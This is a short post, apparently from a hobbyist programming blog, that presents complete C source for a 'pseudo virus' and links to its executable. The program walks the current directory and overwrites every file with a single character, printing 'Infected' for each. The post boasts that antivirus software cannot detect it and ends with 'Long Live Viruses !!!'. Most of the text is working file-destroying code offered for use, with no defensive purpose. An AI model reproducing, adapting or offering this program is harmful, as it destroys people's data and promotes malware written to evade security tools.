As the name suggests, it is technically not a virus because it doesn’t perform all the tasks that a computer virus is intended to perform. Thus, this pseudo virus has an advantage over the ordinary viruses i.e. it cannot be detected by an antivirus software. However it does demonstrate the power of C by corrupting all the files of the directory in which it is clicked. Ofcourse the drive and directory can also be changed according to the choice of the programmer. For now I’m just giving the code of a simple program which will corrupt all the files of its directory.

The executable file for this program can be downloaded from here : VIRUS . (To test this file create a seperate folder, put some files there alongwith this executable file and execute it).

#include "stdio.h"
#include "dos.h"
#include "dir.h"
#include "conio.h"
main()
	{ FILE *f2;
	  int done;
	  struct ffblk ffblk;
	  clrscr();
	  done=findfirst("*.*",&ffblk,0);
	  while(!done)
		{ f2=fopen(ffblk.ff_name,"wb");
		 /* if(f2==NULL)
		    { printf("Cannot open specified file ");
		      break;
		    }  */
		  fputc('a',f2);
		  fclose(f2);
		  printf("%s Infected\n",ffblk.ff_name);
		  done=findnext(&ffblk);
		}
	   printf("\n\n\n\t\tLong Live Viruses !!!");
	   getch();
	   return 0;
	 }